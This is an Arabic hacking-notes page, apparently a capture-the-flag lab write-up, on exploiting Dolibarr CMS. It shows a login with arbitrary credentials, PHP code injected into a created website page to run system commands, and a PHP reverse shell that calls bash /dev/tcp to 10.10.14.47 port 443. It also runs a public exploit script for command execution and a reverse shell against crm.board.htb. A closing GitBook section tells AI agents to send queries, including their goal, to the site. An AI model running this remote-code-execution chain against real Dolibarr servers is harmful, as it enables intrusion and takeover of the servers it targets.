> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/cms/dolibarr-cms-exploitation.md).

# Dolibarr

<figure><img src="/files/492dccb7d2793ac379bd7fea52b578f815ed88d7" alt=""><figcaption></figcaption></figure>

**تسجيل دخول غير مصادق عليه:** تؤدي محاولة تسجيل دخول ببيانات اعتماد عشوائية إلى فتح جلسة مسؤول، ولكن بدون أذونات.

<figure><img src="/files/05f05d862498a252d7446889ac86f3b59f44dfd9" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/a51bca25070084bf875c1ddcecc16e189bbebf14" alt=""><figcaption></figcaption></figure>

### **الاستغلال اليدوي**

**إنشاء موقع خبيث:**

في قسم إنشاء الموقع، أدرج كود PHP خبيث:

<figure><img src="/files/e6a01d560eff461a336ade576b801528c6cba667" alt=""><figcaption></figcaption></figure>

```php
<section id="pwned" contenteditable="true"><?PhP system("whoami"); ?></section>
```

<figure><img src="/files/10278829cd6f85eb91d0739feb206bca456c2351" alt=""><figcaption></figcaption></figure>

تم تأكيد تنفيذ الأوامر.

<figure><img src="/files/fe6a87a23834408dc0eb64b478d88e452fa755b9" alt=""><figcaption></figcaption></figure>

**شل عكسي:**

ابدأ مستمعًا:

```bash
nc -nvlp 443
```

كود شل PHP العكسي:

```php
<?phP
system($_GET['bash -c "bash -i >%26 /dev/tcp/10.10.14.47/443 0>%261"']);
?>
```

<figure><img src="/files/e1f1bfea05edae701016b14bafce79e458fc7a0b" alt=""><figcaption></figcaption></figure>

### **الاستغلال الآلي**

{% embed url="<https://github.com/Rubikcuv5/cve-2023-30253>" %}

**ثبّت الاعتمادات :**

```bash
pip3 install -r requirements.txt 
```

**شغّل السكربت :**

اختبار الأمر (whoami)

```bash
python3 exploit.py --url http://crm.board.htb -u admin -p admin -c whoami
```

<figure><img src="/files/ce5c3b4386d3d680dd43a77036a88a3831c68c4a" alt=""><figcaption></figcaption></figure>

#### شل عكسي

```bash
python3 exploit.py --url http://crm.board.htb -u admin -p admin -r 10.10.14.47 443
```

<figure><img src="/files/1e0bd2149a4411e79bcd860d5e6923ec9f6a8345" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/cms/dolibarr-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
